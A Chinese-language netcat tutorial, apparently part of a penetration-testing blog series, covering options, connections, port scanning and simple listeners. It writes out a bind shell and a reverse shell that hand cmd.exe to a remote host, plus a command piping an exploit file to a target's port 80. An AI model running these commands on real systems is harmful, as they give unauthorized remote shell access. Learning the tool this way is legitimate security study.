netcat的使用
簡介
- netcat被譽為網絡安全界的‘瑞士軍刀’,相信沒有什么人不認識它吧… 一個簡單而有用的工具,透過使用TCP或UDP協議的網絡連接去讀寫數據。它被設計成一個穩定的后門工具,能夠直接由其它程和腳本輕松驅動。同時,它也是一個功能強大的網絡調試和探測工具,能夠建立你需要的幾乎所有類型的網絡連接,還有幾個很有意思的內置功能(詳情請看下面的使用方法)。
- 在中國,它的WINDOWS版有兩個版本,一個是原創者Chris Wysopal寫的原版本,另一個是由“紅與黑”編譯后的新“濃縮”版。“濃縮”版的主程序只有10多KB(10多KB的NC是不能完成下面所說的第4、第5種使用方法,有此功能的原版NC好象要60KB:P),雖然“體積”小,但很完成很多工作。
軟件介紹
- 工具名:Netcat
作者:Hobbit && Chris Wysopal - 網址: https://github.com/diegocr/netcat
類別:開放源碼
平臺:Linux/BSD/Unix/Windows
參數介紹
- nc.exe -h即可看到各參數的使用方法。
基本格式:
nc [-options] hostname port[s] [ports] …
nc -l -p port [options] [hostname] [port]
基本使用
| -C | 類似-L選項,一直不斷連接[1.13版本新加的功能] |
| -d | 后臺執行 |
| -e prog | 程序重定向,一旦連接,就執行 [危險!!] |
| -g gateway | 源路由跳數,最大值為8(source-routing hoppoint[s],up to 8) |
| -G num | 源路由指針:4,8,12,… (source-routing pointer:4,8,12,…) |
| -h | 幫助信息 |
| -i secs | 延時的間隔 |
| -l | 監聽模式,用于入站連接 |
| -n | 指定數字的IP地址,不能用hostname |
| -o file | 記錄16進制的傳輸 |
| -p port | 本地端口號 |
| -r | 任意指定本地及遠程端口 |
| -s addr | 指定發送數據的源IP地址,適用于多網卡機 |
| -u | UDP模式,[netcat-1.15可以:遠程nc -ulp port -ecmd.exe,本地nc -u ip port連接,得到一個shell.] |
| -t | -t是通過telnet模式執行 |
| -v | 詳細輸出——用兩個-v可得到更詳細的內容 |
| -w secs | 指定超時的時間 |
| -z | 將輸入輸出關掉——用于掃描時。表示zero,表示掃描時不發送任何數據 |
基本用法
連接到REMOTE主機,例子:
# nc -nvv 192.168.x.x 80
講解:連到192.168.x.x的TCP80端口
監聽LOCAL主機,例子:
# nc -l -p 80
講解:監聽本機的TCP80端口
? (B機器監聽一個沒有的端口,可以互相聊天)
? (A機器nc –nvv B機器IP 端口 nc -nvv 192.168.120.242 1234)
掃描遠程主機,例子:
# nc -nvv -w2 -z 192.168.x.x 80-445
講解:掃描192.168.x.x的TCP80到TCP445的所有端口
? (速度很慢)
REMOTE主機綁定SHELL,例子:
# nc -l -p 1234 -t -e c:\windows\system32\cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354
REMOTE主機綁定SHELL并反向連接,例子:
# nc -t -e c:\windows\system32\cmd.exe 172.18.199.86 6666
講解:綁定REMOTE主機的CMDSHELL并反向連接到192.168.x.x的TCP5354端口
以上為最基本的幾種用法(其實NC的用法還有很多,當配合管道命令"|“與重定向命令”<"、">"等等命令功能更強大…)。
高級用法
作攻擊程序用,例子:
# type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
# nc -nvv 192.168.x.x 80 < c:\exploit.txt
講解:連接到192.168.x.x的80端口,并在其管道中發送’c:\exploit.txt’的內容(兩種格式確有相同的效果,真是有異曲同工之妙:P)附:'c:\exploit.txt’為shellcode等
作蜜罐用[1],例子:
# nc -L -p 80
講解:使用’-L’(注意L是大寫)可以不停地監聽某一個端口,直到ctrl+c為止
? B機器 nc –L –p 888
? A機器 nc.exe –nvv 172.18.199.86 22
? 可以實現互相聊天
作蜜罐用[2],例子:
# nc -L -p 80 > c:\log.txt
講解:使用’-L’可以不停地監聽某一個端口,直到ctrl+c為止,同時把結果輸出到’c:\log.txt’中,如果把‘>’ 改為‘>>'即可以追加日志
附:'c:\log.txt’為日志等
作蜜罐用[3],例子:
# nc -L -p 80 < c:\honeypot.txt
# type.exe c:\honeypot.txt|nc -L -p 80
講解:使用’-L’可以不停地監聽某一個端口,直到ctrl+c為止,并把’c:\honeypot.txt’的內容‘送’入其管道中!
總結
- 上一篇: 主机信息收集技术 -Nmap
- 下一篇: Kali 渗透测试—Metasploit